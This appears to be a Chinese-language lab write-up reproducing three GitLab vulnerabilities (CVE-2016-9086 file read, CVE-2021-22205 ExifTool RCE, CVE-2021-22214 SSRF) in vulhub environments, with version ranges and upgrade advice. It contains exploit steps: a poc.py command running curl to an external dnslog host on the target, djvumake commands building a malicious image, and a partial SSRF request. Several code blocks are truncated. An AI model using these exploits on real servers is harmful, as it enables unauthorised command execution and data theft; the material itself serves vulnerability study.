总字符数: 4.25K
代码: 1.03K, 文本: 1.21K
预计阅读时间: 10 分钟
Gitlab 任意文件读取漏洞(CVE-2016-9086)
漏洞概述
GitLab 是一个利用 Ruby on Rails 开发的开源应用程序,实现一个自托管的 Git 项目仓库,可通过 Web 界面进行访问公开的或者私人项目.近日研究者发现在其多个版本中存在文件读取漏洞 (CVE-2016-9086) 和 任意用户 authentication_token 泄漏漏洞,攻击者可以通过这两个漏洞来获取管理员的权限,进而控制所有 gitlab 项目.
影响版本:
- 任意文件读取漏洞 (CVE-2016-9086):
- GitLab CE/EE versions 8.9, 8.10, 8.11, 8.12
- GitLav CE/EE version 8.13
- 任意用户 authentication_token 泄露漏洞:
- Gitlab CE/EE versions 8.10.3-8.10.5
漏洞复现
环境运行后,访问http://your-ip:8080
即可查看GitLab主页,其ssh端口为10022,默认管理员账号、密码是root
、vulhub123456
.
注意,请使用2G及以上内存的VPS或虚拟机运行该环境,实测1G内存的机器无法正常运行GitLab(运行后502错误)
登录用户,新建一个项目,点击GitLab export
:
在导入页面,将test.tar.gz上传,将会读取到/etc/passwd
文件内容:
修复建议
官方先移除了导入包里的软连接,其次,读取 VERSION 的内容和 project.json 的内容出错后将内容输出到日志里而非返回到前端.
建议升级到最新版
GitLab 远程命令执行漏洞(CVE-2021-22205)
漏洞概述
在11.9以后的GitLab中,因为使用了图片处理工具ExifTool而受到漏洞CVE-2021-22204的影响,攻击者可以通过一个未授权的接口上传一张恶意构造的图片,进而在GitLab服务器上执行任意命令.
利用版本
- 11.9 <= GitLab(CE/EE)< 13.8.8
- 13.9 <= GitLab(CE/EE)< 13.9.6
- 13.10 <= GitLab(CE/EE)< 13.10.3
漏洞复现
环境启动后,访问http://your-ip:8080
即可查看到GitLab的登录页面.
GitLab的/uploads/user接口可以上传图片且无需认证,利用poc.py脚本来测试这个漏洞:
1 | python poc.py http://your-ip:8080 "curl http://k58p7p.dnslog.cn" |
手工复现-有授权
上传点
账号密码:root/vulhub123456.登录后到个人主页,找到Snippets
,新建http://192.168.64.144:8080/-/snippets/new
此处需要上传DjVu
格式图片(即Exp)
下载安装DjVuLibre地址
1 | apt-get install djvumake -y |
准备好将要压缩图片的文本
1 | (metadata |
生成Exp
1 | djvumake rce.djvu INFO=0,0 BGjp=/dev/null ANTa=rce.txt && mv rce.djvu rce.jpg |
上传Exp虽然会上传失败,但是命令是正常执行的
漏洞修复
升级到最新版本
Gitlab API未授权SSRF复现(CVE-2021-22214)
漏洞描述
编号:CVE-2021-22214
Gitlab的CI lint API用于验证提供给gitlab ci的配置文件是否是yaml格式.而根据其说明文档文档,其include 操作支持remote选项,用于获取远端的yaml.因此在此处将remote参数设置为本地回环地址,同时由于后端会检查最后扩展名,加上?test.yaml 即可绕过.
远程攻击者可通过发送特殊构造的HTTP请求,欺骗应用程序向任意系统发起请求.攻击者成功利用该漏洞可获得敏感数据的访问权限或向其他服务器发送恶意请求.
利用版本
13.10.5 > GitLab >= 10.5
13.11.5 > GitLab >= 13.11
13.12.2 > GitLab >= 13.12
环境搭建
以阿里云centos7.3为例
首先先添加yum源,选择gitlab-ce社区版
1 | curl -s https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.rpm.sh | sudo bash |
接着更新下yum缓存
1 | yum makecache |
此时选择存在漏洞的版本安装即可
1 | yum install gitlab-ce-13.12.1-ce.0.el7 -y |
下载完成后使用命令gitlab-ctl reconfigure
即可默认配置安装gitlab
漏洞复现
poc如下
1 | POST /api/v4/ci/lint HTTP/1.1 |
修复建议
当前官方已发布最新版本,建议受影响的用户及时更新升级到最新版本.